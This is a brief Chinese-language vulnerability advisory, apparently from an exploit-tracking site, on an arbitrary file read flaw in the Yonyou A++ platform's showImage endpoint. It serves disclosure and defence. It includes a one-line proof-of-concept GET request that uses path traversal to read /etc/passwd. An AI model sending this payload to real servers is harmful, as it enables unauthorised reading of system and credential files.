Description
用友A++（Yonyou A++）是用友网络科技股份有限公司面向大型集团企业推出的智能管理平台，提供财务、人力、供应链等核心业务模块，广泛应用于大型集团企业的数字化管理场景。用友A++ /ma/emp/maEmp/showImage 接口存在文件读取漏洞，攻击者可读取服务器任意文件。
用友A++ /ma/emp/maEmp/showImage 文件读取漏洞
PoC
GET /ma/emp/maEmp/showImage?fileName=/../../../../../../../../../../../etc/passwd HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://cn-sec.com/archives/2738852.html
https://github.com/AboSteam/POPC/blob/main/%E7%94%A8%E5%8F%8BGRPA%2B%2BCloud%E6%94%BF%E5%BA%9C%E8%B4%A2%E5%8A%A1%E4%BA%91%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/qq_41904294/article/details/138539217